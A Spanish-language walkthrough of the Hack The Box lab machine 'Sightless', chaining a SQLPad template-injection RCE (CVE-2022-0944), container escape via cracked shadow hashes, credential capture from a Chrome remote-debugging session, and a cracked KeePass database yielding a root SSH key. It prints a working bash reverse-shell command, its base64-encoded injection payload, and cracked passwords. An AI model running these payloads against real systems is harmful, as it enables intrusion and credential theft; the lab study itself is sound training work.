Descripción

Sightless es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Ejecución remota de comandos en la aplicación web SQLPad
  • Escape de un contenedor de Docker mediante la recuperación de una contraseña de un hash “Shadow” y posterior inicio de sesión mediante SSH
  • Descubrimiento de una aplicación web interna Froxlor y redirección de puertos locales
  • Recuperación de una contraseña utilizando una sesión de depuración del navegador Chrome
  • Recuperación de la contraseña de un archivo de una base de datos de KeePass guardada en un servicio FTPS controlador por la aplicación Froxlor
  • Escalada de privilegios mediante la recuperación de la clave SSH desde la base de datos de KeePass

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.214.57.

$ ping -c 3 10.129.172.196
PING 10.129.172.196 (10.129.172.196) 56(84) bytes of data.
64 bytes from 10.129.172.196: icmp_seq=1 ttl=63 time=48.4 ms
64 bytes from 10.129.172.196: icmp_seq=2 ttl=63 time=48.2 ms
64 bytes from 10.129.172.196: icmp_seq=3 ttl=63 time=47.8 ms

--- 10.129.172.196 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 47.770/48.107/48.352/0.246 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.172.196 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.172.196
Host is up (0.051s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.91 seconds

Obtenemos tres puertos abiertos, 21, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.172.196 -sV -sC -p21,22,80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.172.196
Host is up (0.048s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.172.196]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94%I=7%D=9/7%Time=66DCA360%P=x86_64-pc-linux-gnu%r(Gener
SF:icLines,A3,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20Serv
SF:er\)\x20\[::ffff:10\.129\.102\.245\]\r\n500\x20Invalid\x20command:\x20t
SF:ry\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x2
SF:0being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.70 seconds

Obtenemos tres servicios: File Transfer Protocol (FTP), Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) ejecutándose en un sistema Linux Debian. Dado que no tenemos credenciales viables para el FTP y SSH servicio, vamos a pasar al HTTP servicio. Observamos que el servicio está hospedando un sitio web, http://sightless.htb, por lo que lo agregamos a nuestro archivo local /etc/hosts.

$ echo "10.129.172.196 sightless.htb" | sudo tee -a /etc/hosts

Tenemos una página sobre un negocio que ofrece servicios de soluciones para el manejo de bases de datos y servidores. Una de las enlaces redirige al subdominio sqlpad.sightless.htb . Agregamos el dominio al archivo hosts.

$ echo "10.129.172.196 sqlpad.sightless.htb" | sudo tee -a /etc/hosts

Tenemos acceso a SQLPad, una aplicación web utilizada para gestionar bases de datos. Podemos verificar su versión en ejecución haciendo clic en el menú de tres puntos y luego About. La versión en ejecución es 6.10.0. Esta versión está vulnerable a la inyección de plantillas en el punto final de prueba de conexión que conduce a la ejecución remota de comandos, CVE-2022-0944.

Exploitación

Tenemos una prueba de concepto de la vulnerabilidad en el sitio web de huntr. Solo tenemos que crear un plantilla que inyectaremos en el campo Database cuando configuremos una nueva conexión. Vamos a crear una terminal inversa hacia nuestra máquina, por lo que necesitaremos generar la orden y luego codificarla usando codificación Base64. Por lo que creamos el siguiente plantilla:

Comando de la terminal inversa:
bash -i >& /dev/tcp/10.10.14.28/1234 0>&1

Comando codificado con Base64:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC8xMjM0IDA+JjE= | base64 -d | bash

Plantilla a inyectar:
{{ process.mainModule.require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC8xMjM0IDA+JjE= | base64 -d | bash') }}

Antes de inyectar el plantilla vamos a iniciar un puerto TCP en modo escucha.

$ nc -nvlp 1234

Para inyectar el plantilla vamos a crear una nueva conexión. Vamos a hacer clic en el botón Connections en la barra superior, luego en el botón Add connection. Después de eso ingresaremos un nombre aleatorio en el campo Connection name y SQLite como el campo Driver. Finalmente ingresaremos la plantilla en el campo Filename / path. Para desencadenar la orden vamos a hacer clic en el botón Test. Vamos a recibir una terminal inversa como el usuario root. Estamos dentro de un contenedor Docker.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.28] from (UNKNOWN) [10.129.172.196] 47290
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id
id
uid=0(root) gid=0(root) groups=0(root)
root@c184118df0a6:/var/lib/sqlpad# cat /proc/1/sched | head -1
cat /proc/1/sched | head -1
node (1, #threads: 11)

Podemos recuperar el contenido del archivo /etc/passwd y /etc/shadow del contenedor.

root@c184118df0a6:/var/lib/sqlpad# grep 'sh' /etc/passwd
root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash

root@c184118df0a6:/var/lib/sqlpad# grep -E 'root|node|michael' /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

Luego podemos unificarlos en nuestra máquina y romper los hashes para recuperar las contraseñas de los usuarios root y michael.

$ unshadow passwd shadow > unshadowe
$ john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed  
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blindside        (root)     
insaneclownposse (michael)     
2g 0:00:00:07 DONE 0.2512g/s 7461p/s 12607c/s 12607C/s XIOMARA..062906
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

La contraseña para el usuario root del contenedor es blindside y para el usuario michael es insaneclownposse. Podemos iniciar sesión con la cuenta de michael utilizando SSH. Ahora tenemos una sesión iniciada en la máquina principal.

$ sshpass -p insaneclownposse ssh michael@sightless.htb 
Last login: Tue Sep  3 11:52:02 2024 from 10.10.14.23
michael@sightless:~$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael)

Post-Explotación

Como usuarios del consola encontramos a root, john y michael.

michael@sightless:~$ grep 'bash' /etc/passwd
root:x:0:0:root:/root:/bin/bash
michael:x:1000:1000:michael:/home/michael:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash

Al enumerar los puertos abiertos encontramos el interno 8080, que podría estar relacionado con un servicio HTTP, y muchos otros extraños como 36871, 32977 y 46117.

michael@sightless:~$ ss -tulnp
Netid          State           Recv-Q          Send-Q                   Local Address:Port                      Peer Address:Port          Process          
udp            UNCONN          0               0                        127.0.0.53%lo:53                             0.0.0.0:*                              
udp            UNCONN          0               0                              0.0.0.0:68                             0.0.0.0:*                              
tcp            LISTEN          0               70                           127.0.0.1:33060                          0.0.0.0:*                              
tcp            LISTEN          0               5                            127.0.0.1:36871                          0.0.0.0:*                              
tcp            LISTEN          0               128                            0.0.0.0:22                             0.0.0.0:*                              
tcp            LISTEN          0               511                            0.0.0.0:80                             0.0.0.0:*                              
tcp            LISTEN          0               10                           127.0.0.1:32977                          0.0.0.0:*                              
tcp            LISTEN          0               4096                         127.0.0.1:3000                           0.0.0.0:*                              
tcp            LISTEN          0               4096                         127.0.0.1:46117                          0.0.0.0:*                              
tcp            LISTEN          0               151                          127.0.0.1:3306                           0.0.0.0:*                              
tcp            LISTEN          0               511                          127.0.0.1:8080                           0.0.0.0:*                              
tcp            LISTEN          0               4096                     127.0.0.53%lo:53                             0.0.0.0:*                              
tcp            LISTEN          0               128                                  *:21                                   *:*                              
tcp            LISTEN          0               128                               [::]:22                                [::]:*

Vamos a hacer una redirección de puertos locales hacia todos usando SSH. Vamos a redirigir el 8080 hacia nuestro localhost en el puerto 8080, y los otros tres hacia el rango de puertos 1001-1003.

$ sshpass -p insaneclownposse ssh -N -L 127.0.0.1:8080:127.0.0.1:8080 -L 127.0.0.1:1001:127.0.0.1:36871 -L 127.0.0.1:1002:127.0.0.1:32977 -L 127.0.0.1:1003:127.0.0.1:46117 michael@sightless.htb

Encontramos que la instancia del puerto 8080 pertenece a una instancia de Froxlor, una aplicación web de gestión de servidores. Necesitamos credenciales para iniciar sesión. Al enumerar los procesos encontramos que el navegador Chrome está en ejecución.

michael@sightless:~$ ps -ef | grep chrome
john        1629    1628  0 20:00 ?        00:00:27 /home/john/automation/chromedriver --port=36871
john        1634    1628  0 20:00 ?        00:00:00 [chromedriver] <defunct>
john        1640    1629  0 20:00 ?        00:00:45 /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.n7YRW5 data:,
...

Encontramos que está ejecutándose con el parámetro --remote-debugging-port=0, lo que significa que está ejecutando la depuración remota en un puerto aleatorio. Esto podría estar relacionado con los puertos anteriores que encontramos. Para acceder a las sesiones de depuración necesitamos abrir el navegador Chrome y acceder a la página chrome://inspect/#devices. Luego marcaremos la opción Discover network targets y luego en el botón Configure introduciremos los puertos mapeados. Un objetivo remoto aparecerá navegando por el dominio admin.sightless.htb y puerto 8080. Podemos inspeccionar la sesión haciendo clic en el botón inspect. Encontramos que en la sesión un usuario está visitando la sesión de Froxlor e iniciando sesión. Podemos ir a las Herramientas del Desarrollador en el lado izquierdo y movernos a la pestaña Network para interceptar la solicitud HTTP POST a la página http://admin.sightless.htb:8080/index.php y verificar la pestaña Payload. Encontramos que el usuario está iniciando sesión con el nombre de usuario admin y la contraseña ForlorfroxAdmin. Ahora podemos regresar a nuestro navegador y iniciar sesión en Froxlor. Al ingresar, encontramos un panel de administración. Encontramos los clientes en el menú Resources > Customers. Hay solo un cliente, web1. Si hacemos clic en el enlace de web1 accedemos a su panel personalizado. Encontramos que se ha creado una cuenta de FTP en la opción del menú FTP > Accounts. Si hacemos clic en el botón del lápiz (Editar) podemos editar la contraseña para la cuenta FTP web1. Vamos a cambiarla al valor aleatorio eqaErltYuo. Damos clic en el botón Guardar y vamos a intentar acceder mediante FTP al puerto descubierto anteriormente con la herramienta ftp.

$ ftp web1@sightless.htb
Connected to sightless.htb.
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.172.196]
550 SSL/TLS required on the control channel
ftp: Login failed

No podemos conectar al servidor ya que necesitamos una herramienta cliente que soporte SSL o TLS. Podemos utilizar la herramienta lftp. Necesitamos ejecutar internamente la orden set ssl:verify-certificate false para confiar en el emisor del certificado. Podemos entrar y listar la carpeta goaccess y el archivo index.html.

$ lftp web1@sightless.htb
Clave: 
lftp web1@sightless.htb:~> set ssl:verify-certificate false    
lftp web1@sightless.htb:~> ls
drwxr-xr-x   3 web1     web1         4096 May 17 03:17 goaccess
-rw-r--r--   1 web1     web1         8376 Mar 29 10:29 index.html

Si nos movemos a la carpeta goaccess/backup encontramos el archivo de base de datos de KeePass Database.kdb. Lo copiamos.

lftp web1@sightless.htb:/> cd goaccess/backup/
lftp web1@sightless.htb:/goaccess/backup> ls
-rw-r--r--   1 web1     web1         5292 Aug  6 14:29 Database.kdb
lftp web1@sightless.htb:/goaccess/backup> get Database.kdb
5292 bytes transferred

Como el archivo está protegido con contraseña vamos a intentar recuperarla exportando el hash con keepass2john y luego recuperándola con John The Ripper.

$ keepass2john Database.kdb > keepass.hash                 
Inlining Database.kdb
$ john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 1 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldogs         (Database.kdb)     
1g 0:00:00:18 DONE 0.05296g/s 57.62p/s 57.62c/s 57.62C/s kucing..morena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña para la base de datos, bulldogs. Ahora podemos abrirla con una herramienta como kpcli. Encontramos la carpeta interna /General/sightless.htb/Backup y un registro llamado ssh.

$ kpcli --kdb=Database.kdb 
Provide the master password: *************************

KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> cd General/sightless.htb/Backup/
kpcli:/General/sightless.htb/Backup> ls
=== Entries ===
0. ssh

Encontramos el título de ssh, el usuario root, la contraseña q6gnLTB74L132TMdFCpK y la conexión asociada id_rsa. Esta es la clave privada para acceder a la máquina como usuario root mediante SSH.

kpcli:/General/sightless.htb/Backup> show -f ssh

 Path: /General/sightless.htb/Backup/
Title: ssh
Uname: root
 Pass: q6gnLTB74L132TMdFCpK
  URL: 
Notes: 
Atchm: id_rsa (3428 bytes)

Exportamos el archivo asociado.

kpcli:/General/sightless.htb/Backup> attach ssh
Atchm: id_rsa (3428 bytes)
Choose: (a)dd/(e)xport/(d)elete/(c)ancel/(F)inish? a
Path to file: id_rsa
Saved to: id_rsa
Atchm: id_rsa (3428 bytes)
Choose: (a)dd/(e)xport/(d)elete/(c)ancel/(F)inish? f

Necesitamos agregar un salto de línea a la clave SSH, convertirla del formato DOS al formato Unix y luego establecer los permisos correctos.

$ echo -e '\r\n' | tee -a id_rsa
$ dos2unix id_rsa
$ chmod 400 id_rsa

Finalmente podemos acceder mediante la clave SSH como usuario root.

$ ssh -i id_rsa root@sightless.htb
Last login: Tue Sep  3 08:18:45 2024
root@sightless:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la consola de root podemos obtener las flags de user y root.

root@sightless:~# cat /home/michael/user.txt 
<REDACTED>
root@sightless:~# cat /root/root.txt 
<REDACTED>